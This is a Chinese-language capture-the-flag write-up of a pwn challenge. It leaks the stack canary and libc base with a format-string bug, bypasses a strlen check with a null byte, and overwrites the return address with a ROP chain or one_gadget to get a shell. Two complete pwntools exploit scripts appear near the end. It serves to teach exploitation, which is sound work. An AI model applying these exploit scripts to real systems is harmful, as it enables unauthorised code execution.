0x10 分析
题目:chall
类型:pwn、格式化字符串、栈溢出、canary
按照惯例,先看看程序使用了哪些安全编译选项,乍看一下,居然开启了所有的保护,心想题目可能难度较大,需要绕过。
lys@ubuntu:~/Documents/pwn$ checksec chall
[*] '/home/lys/Documents/pwn/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
运行一下程序,简单了解它的基本功能,输入一个字符串,程序原样输出:
lys@ubuntu:~/Documents/pwn$ ./chall
hello~
hello~
使用 file 命令查看程序的基本信息,没有 strip,保留了符号表,降低了难度
lys@ubuntu:~/Documents/pwn$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1268b19e12c5ed7faeb70c121bebad2cce0830d, not stripped
将二进制拖入 IDA,分析一下程序的漏洞点
程序很简单,没有复杂的功能,循环读取用户的输入,并直接打印。这里有两个问题
readline()
函数调用了 gets() 函数,用户输入存放在变量 v5 中,会导致栈溢出__printf_chk()
函数没有使用格式化字符串,说明存在格式化字符串漏洞
那么思路来了:格式化字符串漏洞可以任意地址读,也就是说,可以泄漏 libc 的基地址;栈溢出可以覆盖返回地址为 libc 中的库函数。但是有两点需要注意
- 程序开启了栈保护,栈底有一个随机的 canary,栈溢出时,不能改变其值
readline()
函数有判断用户输入的字符串长度,大于 64,会导致程序直接退出
0x20 解题
经过上述分析,已经有大致的思路,现在就是利用格式化字符串漏洞泄漏 canary 的值,再泄漏 libc 的基地址
0x21 泄漏 canary
gdb 插件 gef,能够直接使用 canary 找到 canary 的位置和内容
gef➤ canary
[+] Found AT_RANDOM at 0x7fffffffe209, reading 8 bytes
[+] The canary of process 18663 is 0x7b663e3705279b00
gef➤ c
Continuing.
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
0xf800000000000000.(nil).(nil).0x7ffff7fdf700.0x70252e70252e7025
.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025
.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025
.0x70252e.0x7fffffffde70.0x7b663e3705279b00.(nil).0x7ffff7a2d840.0x1.0x7fffffffde78.0x1f7ffcca0.0x555555554850
发现格式化字符串指针后的第 14 个参数就是 canary
0x22 反调试
调试过程中,突然出现
Program received signal SIGALRM, Alarm clock.
原来程序还设置了闹钟,使用 vim,直接将 alarm 替换成 isnan,即可绕过
0x23 泄漏 libc 基地址
栈中,必然存有指向 libc 库函数的指针,按照这个思想,将刚刚使用格式化字符串打印的十几个参数,与 vmmap 映射的 libc 库做对比,观察那些地址是在 libc 的地址范围内
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/lys/Documents/pwn/chall
0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/lys/Documents/pwn/chall
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/lys/Documents/pwn/chall
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw-
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fde000 0x00007ffff7fe1000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
发现第 16 个参数 0x7ffff7a2d840
是在 glibc 中,使用 xinfo
,查看该地址的相关信息
gef➤ xinfo 0x7ffff7a2d840
─────────────────────── xinfo: 0x7ffff7a2d840 ──────────────────────────────────────────────────────────────────────────────────────────
Page: 0x00007ffff7a0d000 → 0x00007ffff7bcd000 (size=0x1c0000)
Permissions: r-x
Pathname: /lib/x86_64-linux-gnu/libc-2.23.so
Offset (from page): 0x20840
Inode: 399045
Segment: .text (0x00007ffff7a2c8b0-0x00007ffff7b7fbc4)
Offset (from segment): 0xf90
Symbol: __libc_start_main+240
libc_base_addr
= 参数16 - libc.sym["__libc_start_main"] - 240
0x24 rbp
找到栈底 rbp 的值,从汇编代码中可以看到,变量 s (v5) 距离栈底 +58h
,即 +11
个字长
0x25 格式化字符串距离变量 s 的长度
利用格式化字符串漏洞,确定变量 s 离此时栈顶 ,即 printf 的格式化字符串指针)的距离
lys@ubuntu:~/Documents/pwn$ ./chall
aaaabbbb.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
aaaabbbb.0xffffffc000000000.(nil).0xffc0.0x7f7d4c486700.0x6262626261616161
.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x70252e70252e.(nil)
由上可见,第 5 个参数就是变量 s 的首地址
0x26 栈布局
最终得到的栈布局如下
+---------------+
| &s |
+---------------+
| |
+---------------+
| |
+---------------+
| |
+---------------+
| |
+---------------+
| s | <----+ +5 第5个参数
+---------------+
| |
+---------------+
| |
+---------------+
| |
+---------------+
| |
| |
| |
| |
| |
| |
| |
+---------------+
| canary | <----+ +14 第14个参数
+---------------+
| rbp |
+---------------+
| ret | <----+ +16 第16个参数
+---------------+
0x27 绕过 strlen 判断
实际上,readline 函数还会对用户的输入长度进行限制,如下所示
用户输入的长度大于 a2(64B)大小时,程序直接退出。这里有一个漏洞就是,strlen
函数是以 \0
来判断字符串是否结束的,因此,我们的输入只需要让其在内存中的真实值为 0,即可让 strlen 结束。
pwn.p64(0),这样就会在内存中保存真实的值 0,绕过判断。
0x30 覆盖返回地址为 Gadget
0x31 构造 ROP
使用 ROPgadget 查找 pop rdi
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
0x000000000002026b : pop rdi ; pop rbp ; ret
0x0000000000021112 : pop rdi ; ret
0x00000000000b0b9c : pop rdi ; ret 0xd
0x00000000000674a9 : pop rdi ; ret 0xffff
查找字符串 /bin/sh
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"
Strings information
============================================================
0x000000000018ce17 : /bin/sh
构造 ROP 链
payload += p64(libc_base_addr + pop_rdi_ret)
payload += p64(libc_base_addr + bin_sh)
payload += p64(libc_base_addr + libc.sym["system"])
完整代码
from pwn import *
context(log_level="info", os="linux", arch="amd64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./chall")
io.sendline("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = io.recv().split(".")
canary = output[13]
libc_start_main_240 = output[15]
log.info("canary: %s", canary)
log.info("__libc_start_main+240: %s", libc_start_main_240)
libc_base_addr = int(libc_start_main_240, 16) - 240 - libc.sym["__libc_start_main"]
log.info("libc base address: 0x%x", libc_base_addr)
pop_rdi_ret = 0x21112
bin_sh = 0x18ce17
payload = p64(0) * (14 - 5)
payload += p64(int(canary, 16))
payload += p64(0)
payload += p64(libc_base_addr + pop_rdi_ret)
payload += p64(libc_base_addr + bin_sh)
payload += p64(libc_base_addr + libc.sym["system"])
io.sendline(payload)
io.interactive()
0x32 onegadget
下载 onegadget
sudo gem install one_gadget
寻找当前系统中的 libc 中的 one gadget
lys@ubuntu:~/Documents/pwn$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
上述地址不一定真的都可以,多试几次就好了,完整代码如下
from pwn import *
context(log_level="info", os="linux", arch="amd64")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./chall")
io.sendline("%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
output = io.recv().split(".")
canary = output[13]
libc_start_main_240 = output[15]
log.info("canary: %s", canary)
log.info("__libc_start_main+240: %s", libc_start_main_240)
libc_base_addr = int(libc_start_main_240, 16) - 240 - libc.sym["__libc_start_main"]
log.info("libc base address: 0x%x", libc_base_addr)
payload = p64(0) * (14 - 5)
payload += p64(int(canary, 16))
payload += p64(0)
payload += p64(libc_base_addr + 0xf1207)
io.sendline(payload)
io.interactive()
0x40 总结
本题主要利用了格式化字符串漏洞、栈溢出漏洞;其中有两点值得注意:第一、使用 gef 插件找到 canary,便于绕过栈保护;第二、strlen 函数对输入的长度进行了限制,其实是可以利用 \0 绕过。其余知识点都是 pwn 中常用的一些手段,比如改写 alarm,禁用反调试;ROP 构造等。